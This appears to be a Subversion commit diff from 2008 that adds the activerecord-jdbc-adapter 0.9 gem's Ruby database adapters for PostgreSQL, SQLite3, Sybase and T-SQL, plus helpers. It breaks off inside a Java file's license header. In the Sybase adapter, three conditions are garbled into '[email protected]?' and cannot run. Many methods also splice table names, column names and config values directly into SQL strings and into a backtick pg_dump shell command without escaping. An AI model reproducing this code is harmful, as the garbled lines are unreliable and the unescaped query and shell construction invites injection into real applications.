+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_postgre.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,403 @@
+module ::JdbcSpec
+  # Don't need to load native postgres adapter
+  $LOADED_FEATURES << "active_record/connection_adapters/postgresql_adapter.rb"
+
+  module ActiveRecordExtensions
+    def postgresql_connection(config)
+      config[:host] ||= "localhost"
+      config[:port] ||= 5432
+      config[:url] ||= "jdbc:postgresql://#{config[:host]}:#{config[:port]}/#{config[:database]}"
+      config[:url] << config[:pg_params] if config[:pg_params]
+      config[:driver] ||= "org.postgresql.Driver"
+      jdbc_connection(config)
+    end
+  end
+
+  module PostgreSQL
+    def self.column_selector
+      [/postgre/i, lambda {|cfg,col| col.extend(::JdbcSpec::PostgreSQL::Column)}]
+    end
+
+    def self.adapter_selector
+      [/postgre/i, lambda {|cfg,adapt| adapt.extend(::JdbcSpec::PostgreSQL)}]
+    end
+
+    module Column
+      def type_cast(value)
+        case type
+        when :boolean then cast_to_boolean(value)
+        else super
+        end
+      end
+
+      def simplified_type(field_type)
+        return :integer if field_type =~ /^serial/i
+        return :string if field_type =~ /\[\]$/i || field_type =~ /^interval/i
+        return :string if field_type =~ /^(?:point|lseg|box|"?path"?|polygon|circle)/i
+        return :datetime if field_type =~ /^timestamp/i
+        return :float if field_type =~ /^real|^money/i
+        return :binary if field_type =~ /^bytea/i
+        return :boolean if field_type =~ /^bool/i
+        super
+      end
+
+      def cast_to_boolean(value)
+        if value == true || value == false
+          value
+        else
+          %w(true t 1).include?(value.to_s.downcase)
+        end
+      end
+
+      def cast_to_date_or_time(value)
+        return value if value.is_a? Date
+        return nil if value.blank?
+        guess_date_or_time((value.is_a? Time) ? value : cast_to_time(value))
+      end
+
+      def cast_to_time(value)
+        return value if value.is_a? Time
+        time_array = ParseDate.parsedate value
+        time_array[0] ||= 2000; time_array[1] ||= 1; time_array[2] ||= 1;
+        Time.send(ActiveRecord::Base.default_timezone, *time_array) rescue nil
+      end
+
+      def guess_date_or_time(value)
+        (value.hour == 0 and value.min == 0 and value.sec == 0) ?
+        Date.new(value.year, value.month, value.day) : value
+      end
+
+      def default_value(value)
+        # Boolean types
+        return "t" if value =~ /true/i
+        return "f" if value =~ /false/i
+
+        # Char/String/Bytea type values
+        return $1 if value =~ /^'(.*)'::(bpchar|text|character varying|bytea)$/
+
+        # Numeric values
+        return value if value =~ /^-?[0-9]+(\.[0-9]*)?/
+
+        # Fixed dates / timestamp
+        return $1 if value =~ /^'(.+)'::(date|timestamp)/
+
+        # Anything else is blank, some user type, or some function
+        # and we can't know the value of that, so return nil.
+        return nil
+      end
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = "serial primary key"
+      tp[:string][:limit] = 255
+      tp[:integer][:limit] = nil
+      tp[:boolean][:limit] = nil
+      tp
+    end
+
+    def default_sequence_name(table_name, pk = nil)
+      default_pk, default_seq = pk_and_sequence_for(table_name)
+      default_seq || "#{table_name}_#{pk || default_pk || 'id'}_seq"
+    end
+
+    # Resets sequence to the max value of the table's pk if present.
+    def reset_pk_sequence!(table, pk = nil, sequence = nil)
+      unless pk and sequence
+        default_pk, default_sequence = pk_and_sequence_for(table)
+        pk ||= default_pk
+        sequence ||= default_sequence
+      end
+      if pk
+        if sequence
+          select_value <<-end_sql, 'Reset sequence'
+            SELECT setval('#{sequence}', (SELECT COALESCE(MAX(#{pk})+(SELECT increment_by FROM #{sequence}), (SELECT min_value FROM #{sequence})) FROM #{table}), false)
+          end_sql
+        else
+          @logger.warn "#{table} has primary key #{pk} with no default sequence" if @logger
+        end
+      end
+    end
+
+    # Find a table's primary key and sequence.
+    def pk_and_sequence_for(table)
+      # First try looking for a sequence with a dependency on the
+      # given table's primary key.
+        result = select(<<-end_sql, 'PK and serial sequence')[0]
+          SELECT attr.attname AS nm, name.nspname AS nsp, seq.relname AS rel
+          FROM pg_class      seq,
+               pg_attribute  attr,
+               pg_depend     dep,
+               pg_namespace  name,
+               pg_constraint cons
+          WHERE seq.oid           = dep.objid
+            AND seq.relnamespace  = name.oid
+            AND seq.relkind       = 'S'
+            AND attr.attrelid     = dep.refobjid
+            AND attr.attnum       = dep.refobjsubid
+            AND attr.attrelid     = cons.conrelid
+            AND attr.attnum       = cons.conkey[1]
+            AND cons.contype      = 'p'
+            AND dep.refobjid      = '#{table}'::regclass
+        end_sql
+
+        if result.nil? or result.empty?
+          # If that fails, try parsing the primary key's default value.
+          # Support the 7.x and 8.0 nextval('foo'::text) as well as
+          # the 8.1+ nextval('foo'::regclass).
+          # TODO: assumes sequence is in same schema as table.
+          result = select(<<-end_sql, 'PK and custom sequence')[0]
+            SELECT attr.attname AS nm, name.nspname AS nsp, split_part(def.adsrc, '\\\'', 2) AS rel
+            FROM pg_class       t
+            JOIN pg_namespace   name ON (t.relnamespace = name.oid)
+            JOIN pg_attribute   attr ON (t.oid = attrelid)
+            JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
+            JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
+            WHERE t.oid = '#{table}'::regclass
+              AND cons.contype = 'p'
+              AND def.adsrc ~* 'nextval'
+          end_sql
+        end
+        # check for existence of . in sequence name as in public.foo_sequence.  if it does not exist, join the current namespace
+        result['rel']['.'] ? [result['nm'], result['rel']] : [result['nm'], "#{result['nsp']}.#{result['rel']}"]
+      rescue
+        nil
+      end
+
+    def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+      execute(sql, name)
+      table = sql.split(" ", 4)[2]
+      id_value || pk && last_insert_id(table, sequence_name || default_sequence_name(table, pk))
+    end
+
+    def columns(table_name, name=nil)
+      schema_name = "public"
+      if table_name =~ /\./
+        parts = table_name.split(/\./)
+        table_name = parts.pop
+        schema_name = parts.join(".")
+      end
+      @connection.columns_internal(table_name, name, schema_name)
+    end
+
+    # From postgresql_adapter.rb
+    def indexes(table_name, name = nil)
+      result = select_rows(<<-SQL, name)
+        SELECT i.relname, d.indisunique, a.attname
+          FROM pg_class t, pg_class i, pg_index d, pg_attribute a
+         WHERE i.relkind = 'i'
+           AND d.indexrelid = i.oid
+           AND d.indisprimary = 'f'
+           AND t.oid = d.indrelid
+           AND t.relname = '#{table_name}'
+           AND a.attrelid = t.oid
+           AND ( d.indkey[0]=a.attnum OR d.indkey[1]=a.attnum
+              OR d.indkey[2]=a.attnum OR d.indkey[3]=a.attnum
+              OR d.indkey[4]=a.attnum OR d.indkey[5]=a.attnum
+              OR d.indkey[6]=a.attnum OR d.indkey[7]=a.attnum
+              OR d.indkey[8]=a.attnum OR d.indkey[9]=a.attnum )
+        ORDER BY i.relname
+      SQL
+
+      current_index = nil
+      indexes = []
+
+      result.each do |row|
+        if current_index != row[0]
+          indexes << ::ActiveRecord::ConnectionAdapters::IndexDefinition.new(table_name, row[0], row[1] == "t", [])
+          current_index = row[0]
+        end
+
+        indexes.last.columns << row[2]
+      end
+
+      indexes
+    end
+
+    def last_insert_id(table, sequence_name)
+      Integer(select_value("SELECT currval('#{sequence_name}')"))
+    end
+
+    def recreate_database(name)
+      drop_database(name)
+      create_database(name)
+    end
+
+    def create_database(name, options = {})
+      execute "CREATE DATABASE \"#{name}\" ENCODING='#{options[:encoding] || 'utf8'}'"
+    end
+
+    def drop_database(name)
+      execute "DROP DATABASE \"#{name}\""
+    end
+
+    def structure_dump
+      database = @config[:database]
+      if database.nil?
+        if @config[:url] =~ /\/([^\/]*)$/
+          database = $1
+        else
+          raise "Could not figure out what database this url is for #{@config["url"]}"
+        end
+      end
+
+      ENV['PGHOST']     = @config[:host] if @config[:host]
+      ENV['PGPORT']     = @config[:port].to_s if @config[:port]
+      ENV['PGPASSWORD'] = @config[:password].to_s if @config[:password]
+      search_path = @config[:schema_search_path]
+      search_path = "--schema=#{search_path}" if search_path
+
+      @connection.connection.close
+      begin
+        file = "db/#{RAILS_ENV}_structure.sql"
+        `pg_dump -i -U "#{@config[:username]}" -s -x -O -f #{file} #{search_path} #{database}`
+        raise "Error dumping database" if $?.exitstatus == 1
+
+        # need to patch away any references to SQL_ASCII as it breaks the JDBC driver
+        lines = File.readlines(file)
+        File.open(file, "w") do |io|
+          lines.each do |line|
+            line.gsub!(/SQL_ASCII/, 'UNICODE')
+            io.write(line)
+          end
+        end
+      ensure
+        reconnect!
+      end
+    end
+
+    def _execute(sql, name = nil)
+        case sql.strip
+        when /\A\(?\s*(select|show)/i:
+          @connection.execute_query(sql)
+        else
+          @connection.execute_update(sql)
+        end
+    end
+
+    # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
+    #
+    # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
+    # requires that the ORDER BY include the distinct column.
+    #
+    #   distinct("posts.id", "posts.created_at desc")
+    def distinct(columns, order_by)
+      return "DISTINCT #{columns}" if order_by.blank?
+
+      # construct a clean list of column names from the ORDER BY clause, removing
+      # any asc/desc modifiers
+      order_columns = order_by.split(',').collect { |s| s.split.first }
+      order_columns.delete_if(&:blank?)
+      order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| "#{s} AS alias_#{i}" }
+
+      # return a DISTINCT ON() clause that's distinct on the columns we want but includes
+      # all the required columns for the ORDER BY to work properly
+      sql = "DISTINCT ON (#{columns}) #{columns}, "
+      sql << order_columns * ', '
+    end
+
+    # ORDER BY clause for the passed order option.
+    #
+    # PostgreSQL does not allow arbitrary ordering when using DISTINCT ON, so we work around this
+    # by wrapping the sql as a sub-select and ordering in that query.
+    def add_order_by_for_association_limiting!(sql, options)
+      return sql if options[:order].blank?
+
+      order = options[:order].split(',').collect { |s| s.strip }.reject(&:blank?)
+      order.map! { |s| 'DESC' if s =~ /\bdesc$/i }
+      order = order.zip((0...order.size).to_a).map { |s,i| "id_list.alias_#{i} #{s}" }.join(', ')
+
+      sql.replace "SELECT * FROM (#{sql}) AS id_list ORDER BY #{order}"
+    end
+
+    def quote(value, column = nil)
+      return value.quoted_id if value.respond_to?(:quoted_id)
+
+      if value.kind_of?(String) && column && column.type == :binary
+        "'#{escape_bytea(value)}'"
+      elsif column && column.type == :primary_key
+        return value.to_s
+      else
+        super
+      end
+    end
+
+    def escape_bytea(s)
+      if s
+        result = ''
+        s.each_byte { |c| result << sprintf('\\\\%03o', c) }
+        result
+      end
+    end
+
+    def quote_column_name(name)
+      %("#{name}")
+    end
+
+    def quoted_date(value)
+      value.strftime("%Y-%m-%d %H:%M:%S")
+    end
+
+    def disable_referential_integrity(&block) #:nodoc:
+      execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
+      yield
+    ensure
+      execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
+    end
+
+    def rename_table(name, new_name)
+      execute "ALTER TABLE #{name} RENAME TO #{new_name}"
+    end
+
+    def add_column(table_name, column_name, type, options = {})
+      execute("ALTER TABLE #{table_name} ADD #{column_name} #{type_to_sql(type, options[:limit])}")
+      change_column_default(table_name, column_name, options[:default]) unless options[:default].nil?
+      if options[:null] == false
+        execute("UPDATE #{table_name} SET #{column_name} = '#{options[:default]}'") if options[:default]
+        execute("ALTER TABLE #{table_name} ALTER #{column_name} SET NOT NULL")
+      end
+    end
+
+    def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      begin
+        execute "ALTER TABLE #{table_name} ALTER  #{column_name} TYPE #{type_to_sql(type, options[:limit])}"
+      rescue ActiveRecord::StatementInvalid
+        # This is PG7, so we use a more arcane way of doing it.
+        begin_db_transaction
+        add_column(table_name, "#{column_name}_ar_tmp", type, options)
+        execute "UPDATE #{table_name} SET #{column_name}_ar_tmp = CAST(#{column_name} AS #{type_to_sql(type, options[:limit])})"
+        remove_column(table_name, column_name)
+        rename_column(table_name, "#{column_name}_ar_tmp", column_name)
+        commit_db_transaction
+      end
+      change_column_default(table_name, column_name, options[:default]) unless options[:default].nil?
+    end
+
+    def change_column_default(table_name, column_name, default) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} SET DEFAULT '#{default}'"
+    end
+
+    def rename_column(table_name, column_name, new_column_name) #:nodoc:
+      execute "ALTER TABLE #{table_name} RENAME COLUMN #{column_name} TO #{new_column_name}"
+    end
+
+    def remove_index(table_name, options) #:nodoc:
+      execute "DROP INDEX #{index_name(table_name, options)}"
+    end
+
+    def type_to_sql(type, limit = nil, precision = nil, scale = nil) #:nodoc:
+      return super unless type.to_s == 'integer'
+
+      if limit.nil? || limit == 4
+        'integer'
+      elsif limit < 4
+        'smallint'
+      else
+        'bigint'
+      end
+    end
+
+    def tables
+      @connection.tables(database_name, nil, nil, ["TABLE"])
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_sqlite3.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_sqlite3.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_sqlite3.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,188 @@
+module ::JdbcSpec
+  module ActiveRecordExtensions
+    def sqlite3_connection(config)
+      config[:url] ||= "jdbc:sqlite:#{config[:database]}"
+      config[:driver] ||= "org.sqlite.JDBC"
+      jdbc_connection(config)
+    end
+  end
+
+  module SQLite3
+    def self.column_selector
+      [/sqlite/i, lambda {|cfg,col| col.extend(::JdbcSpec::SQLite3::Column)}]
+    end
+
+    def self.adapter_selector
+      [/sqlite/i, lambda {|cfg,adapt| adapt.extend(::JdbcSpec::SQLite3)}]
+    end
+
+    module Column
+
+      private
+      def simplified_type(field_type)
+        case field_type
+        when /^integer\(1\)$/i                  then :boolean
+        when /text/i                           then :string
+        when /int/i                            then :integer
+        when /real/i                   then @scale == 0 ? :integer : :decimal
+        when /date|time/i                      then :datetime
+        when /blob/i                           then :binary
+        end
+      end
+
+      def self.cast_to_date_or_time(value)
+        return value if value.is_a? Date
+        return nil if value.blank?
+        guess_date_or_time((value.is_a? Time) ? value : cast_to_time(value))
+      end
+
+      def self.cast_to_time(value)
+        return value if value.is_a? Time
+        Time.at(value) rescue nil
+      end
+
+      def self.guess_date_or_time(value)
+        (value.hour == 0 and value.min == 0 and value.sec == 0) ?
+        Date.new(value.year, value.month, value.day) : value
+      end
+    end
+
+    def type_cast(value)
+      return nil if value.nil?
+      case type
+      when :string   then value
+      when :integer  then defined?(value.to_i) ? value.to_i : (value ? 1 : 0)
+      when :primary_key then defined?(value.to_i) ? value.to_i : (value ? 1 : 0)
+      when :float    then value.to_f
+      when :datetime then JdbcSpec::SQLite3::Column.cast_to_date_or_time(value)
+      when :time     then JdbcSpec::SQLite3::Column.cast_to_time(value)
+      when :decimal   then self.class.value_to_decimal(value)
+      when :boolean   then self.class.value_to_boolean(value)
+      else value
+      end
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = "INTEGER PRIMARY KEY AUTOINCREMENT"
+      tp[:float] = { :name => "REAL" }
+      tp[:decimal] = { :name => "REAL" }
+      tp[:datetime] = { :name => "INTEGER" }
+      tp[:timestamp] = { :name => "INTEGER" }
+      tp[:time] = { :name => "INTEGER" }
+      tp[:date] = { :name => "INTEGER" }
+      tp[:boolean] = { :name => "INTEGER", :limit => 1}
+      tp
+    end
+
+    def quote(value, column = nil) # :nodoc:
+      return value.quoted_id if value.respond_to?(:quoted_id)
+
+      case value
+      when String
+        if column && column.type == :binary
+          "'#{quote_string(value).unpack("C*").collect {|v| v.to_s(16)}.join}'"
+        else
+          "'#{quote_string(value)}'"
+        end
+      else super
+      end
+    end
+
+    def quote_string(str)
+      str.gsub(/'/, "''")
+    end
+
+    def quoted_true
+      '1'
+    end
+
+    def quoted_false
+      '0'
+    end
+
+    def add_column(table_name, column_name, type, options = {})
+      if option_not_null = options[:null] == false
+        option_not_null = options.delete(:null)
+      end
+      add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+      add_column_options!(add_column_sql, options)
+      execute(add_column_sql)
+      if option_not_null
+        alter_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} NOT NULL"
+      end
+    end
+
+    def remove_column(table_name, column_name) #:nodoc:
+      cols = columns(table_name).collect {|col| col.name}
+      cols.delete(column_name)
+      cols = cols.join(', ')
+      table_backup = table_name + "_backup"
+
+      @connection.begin
+
+      execute "CREATE TEMPORARY TABLE #{table_backup}(#{cols})"
+      insert "INSERT INTO #{table_backup} SELECT #{cols} FROM #{table_name}"
+      execute "DROP TABLE #{table_name}"
+      execute "CREATE TABLE #{table_name}(#{cols})"
+      insert "INSERT INTO #{table_name} SELECT #{cols} FROM #{table_backup}"
+      execute "DROP TABLE #{table_backup}"
+
+      @connection.commit
+    end
+
+    def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} #{type_to_sql(type, options[:limit])}"
+    end
+
+    def change_column_default(table_name, column_name, default) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} SET DEFAULT #{quote(default)}"
+    end
+
+    def rename_column(table_name, column_name, new_column_name) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} RENAME TO #{new_column_name}"
+    end
+
+    def rename_table(name, new_name)
+      execute "ALTER TABLE #{name} RENAME TO #{new_name}"
+    end
+
+    def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+      log(sql,name) do
+        @connection.execute_update(sql)
+      end
+      table = sql.split(" ", 4)[2]
+      id_value || last_insert_id(table, nil)
+    end
+
+    def last_insert_id(table, sequence_name)
+      Integer(select_value("SELECT SEQ FROM SQLITE_SEQUENCE WHERE NAME = '#{table}'"))
+    end
+
+    def add_limit_offset!(sql, options) #:nodoc:
+      if options[:limit]
+        sql << " LIMIT #{options[:limit]}"
+        sql << " OFFSET #{options[:offset]}" if options[:offset]
+      end
+    end
+
+    def tables
+      @connection.tables.select {|row| row.to_s !~ /^sqlite_/i }
+    end
+
+    def remove_index(table_name, options = {})
+      execute "DROP INDEX #{quote_column_name(index_name(table_name, options))}"
+    end
+
+    def indexes(table_name, name = nil)
+      result = select_rows("SELECT name, sql FROM sqlite_master WHERE tbl_name = '#{table_name}' AND type = 'index'", name)
+
+      result.collect do |row|
+        name = row[0]
+        index_sql = row[1]
+        unique = (index_sql =~ /unique/i)
+        cols = index_sql.match(/\((.*)\)/)[1].gsub(/,/,' ').split
+        ::ActiveRecord::ConnectionAdapters::IndexDefinition.new(table_name, name, unique, cols)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_sybase.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_sybase.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_sybase.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+module JdbcSpec
+  module Sybase
+    def self.adapter_selector
+      [/sybase/i, lambda{|cfg,adapt| adapt.extend(JdbcSpec::Sybase)}]
+    end
+
+      def add_limit_offset!(sql, options) # :nodoc:
+        @limit = options[:limit]
+        @offset = options[:offset]
+        if use_temp_table?
+          # Use temp table to hack offset with Sybase
+          sql.sub!(/ FROM /i, ' INTO #artemp FROM ')
+        elsif zero_limit?
+          # "SET ROWCOUNT 0" turns off limits, so we havesy
+          # to use a cheap trick.
+          if sql =~ /WHERE/i
+            sql.sub!(/WHERE/i, 'WHERE 1 = 2 AND ')
+          elsif sql =~ /ORDER\s+BY/i
+            sql.sub!(/ORDER\s+BY/i, 'WHERE 1 = 2 ORDER BY')
+          else
+            sql << 'WHERE 1 = 2'
+          end
+        end
+      end
+
+      # If limit is not set at all, we can ignore offset;
+      # if limit *is* set but offset is zero, use normal select
+      # with simple SET ROWCOUNT.  Thus, only use the temp table
+      # if limit is set and offset > 0.
+      def use_temp_table?
+        [email protected]? && [email protected]? && @offset > 0
+      end
+
+      def zero_limit?
+        [email protected]? && @limit == 0
+      end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/missing_functionality_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/missing_functionality_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/missing_functionality_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,72 @@
+module JdbcSpec
+  module MissingFunctionalityHelper
+    #Taken from SQLite adapter
+
+    def alter_table(table_name, options = {}) #:nodoc:
+      table_name = table_name.to_s.downcase
+      altered_table_name = "altered_#{table_name}"
+      caller = lambda {|definition| yield definition if block_given?}
+
+      transaction do
+        move_table(table_name, altered_table_name, options)
+        move_table(altered_table_name, table_name, &caller)
+      end
+    end
+    
+    def move_table(from, to, options = {}, &block) #:nodoc:
+      copy_table(from, to, options, &block)
+      drop_table(from)
+    end
+
+    def copy_table(from, to, options = {}) #:nodoc:
+      create_table(to, options) do |@definition|
+        columns(from).each do |column|
+          column_name = options[:rename] ?
+          (options[:rename][column.name] ||
+           options[:rename][column.name.to_sym] ||
+           column.name) : column.name
+          column_name = column_name.to_s
+          @definition.column(column_name, column.type, 
+                             :limit => column.limit, :default => column.default,
+                             :null => column.null)
+        end
+        @definition.primary_key(primary_key(from))
+        yield @definition if block_given?
+      end
+      
+      copy_table_indexes(from, to)
+      copy_table_contents(from, to, 
+                          @definition.columns, 
+                          options[:rename] || {})
+    end
+    
+    def copy_table_indexes(from, to) #:nodoc:
+      indexes(from).each do |index|
+        name = index.name.downcase
+        if to == "altered_#{from}"
+          name = "temp_#{name}"
+        elsif from == "altered_#{to}"
+          name = name[5..-1]
+        end
+        
+        # index name can't be the same
+        opts = { :name => name.gsub(/_(#{from})_/, "_#{to}_") }
+        opts[:unique] = true if index.unique
+        add_index(to, index.columns, opts)
+      end
+    end
+    
+    def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
+      column_mappings = Hash[*columns.map {|col| [col.name, col.name]}.flatten]
+      rename.inject(column_mappings) {|map, a| map[a.last] = a.first; map}
+      from_columns = columns(from).collect {|col| col.name}
+      columns = columns.find_all{|col| from_columns.include?(column_mappings[col.name])}
+      execute("SELECT * FROM #{from}").each do |row|
+        sql = "INSERT INTO #{to} ("+columns.map(&:name)*','+") VALUES ("            
+        sql << columns.map {|col| quote(row[column_mappings[col.name]],col)} * ', '
+        sql << ')'
+        execute sql
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/rake_tasks.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/rake_tasks.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/rake_tasks.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+if defined?(Rake.application) && Rake.application && ENV["SKIP_AR_JDBC_RAKE_REDEFINES"].nil?
+  jdbc_rakefile = File.dirname(__FILE__) + "/jdbc.rake"
+  if Rake.application.lookup("environment")
+    # rails tasks already defined; load the override tasks now
+    load jdbc_rakefile
+  else
+    # rails tasks not loaded yet; load as an import
+    Rake.application.add_import(jdbc_rakefile)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/tsql_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/tsql_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/tsql_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+# Common methods for handling TSQL databases.
+module TSqlMethods
+
+  def modify_types(tp) #:nodoc:
+    tp[:primary_key] = "int NOT NULL IDENTITY(1, 1) PRIMARY KEY"
+    tp[:integer][:limit] = nil
+    tp[:boolean] = {:name => "bit"}
+    tp[:binary] = { :name => "image"}
+    tp
+  end
+
+  def type_to_sql(type, limit = nil, precision = nil, scale = nil) #:nodoc:
+    return super unless type.to_s == 'integer'
+    
+    if limit.nil? || limit == 4
+      'int'
+    elsif limit == 2
+      'smallint'
+    elsif limit == 1
+      'tinyint'
+    else
+      'bigint'
+    end
+  end
+
+  def add_limit_offset!(sql, options)
+    if options[:limit] and options[:offset]
+      total_rows = select_all("SELECT count(*) as TotalRows from (#{sql.gsub(/\bSELECT(\s+DISTINCT)?\b/i, "SELECT\\1 TOP 1000000000")}) tally")[0]["TotalRows"].to_i
+      if (options[:limit] + options[:offset]) >= total_rows
+        options[:limit] = (total_rows - options[:offset] >= 0) ? (total_rows - options[:offset]) : 0
+      end
+      sql.sub!(/^\s*SELECT(\s+DISTINCT)?/i, "SELECT * FROM (SELECT TOP #{options[:limit]} * FROM (SELECT\\1 TOP #{options[:limit] + options[:offset]} ")
+      sql << ") AS tmp1"
+      if options[:order]
+        options[:order] = options[:order].split(',').map do |field|
+          parts = field.split(" ")
+          tc = parts[0]
+          if sql =~ /\.\[/ and tc =~ /\./ # if column quoting used in query
+            tc.gsub!(/\./, '\\.\\[')
+            tc << '\\]'
+          end
+          if sql =~ /#{tc} AS (t\d_r\d\d?)/
+              parts[0] = $1
+          elsif parts[0] =~ /\w+\.(\w+)/
+            parts[0] = $1
+          end
+          parts.join(' ')
+        end.join(', ')
+        sql << " ORDER BY #{change_order_direction(options[:order])}) AS tmp2 ORDER BY #{options[:order]}"
+      else
+        sql << " ) AS tmp2"
+      end
+    elsif sql !~ /^\s*SELECT (@@|COUNT\()/i
+      sql.sub!(/^\s*SELECT(\s+DISTINCT)?/i) do
+        "SELECT#{$1} TOP #{options[:limit]}"
+      end unless options[:limit].nil?
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+module JdbcAdapter
+  module Version
+    VERSION = "0.9"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+if RUBY_PLATFORM =~ /java/
+  begin
+    tried_gem ||= false
+    require 'active_record/version'
+  rescue LoadError
+    raise if tried_gem
+    require 'rubygems'
+    gem 'activerecord'
+    tried_gem = true
+    retry
+  end
+  if ActiveRecord::VERSION::MAJOR < 2
+    if defined?(RAILS_CONNECTION_ADAPTERS)
+      RAILS_CONNECTION_ADAPTERS << %q(jdbc)
+    else
+      RAILS_CONNECTION_ADAPTERS = %w(jdbc)
+    end
+    if ActiveRecord::VERSION::MAJOR == 1 && ActiveRecord::VERSION::MINOR == 14
+      require 'active_record/connection_adapters/jdbc_adapter'
+    end
+  else
+    require 'active_record'
+    require 'active_record/connection_adapters/jdbc_adapter'
+  end
+else
+  warn "ActiveRecord-JDBC is for use with JRuby only"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcAdapterInternalService.java
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcAdapterInternalService.java	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcAdapterInternalService.java	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1146 @@
+/***** BEGIN LICENSE BLOCK *****
+ * Copyright (c) 2006-2008 Nick Sieger <nick at nicksieger.com>
+ * Copyright (c) 2006-2007 Ola Bini <ola.bini at gmail.com>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files (the
+ * "Software"), to deal in the Software without restriction, including
+ * without limitation the rights to use, copy, modify, merge, publish,
+ * distribute, sublicense, and/or sell copies of the Software, and to
+ * permit persons to whom the Software is furnished to do so, subject to
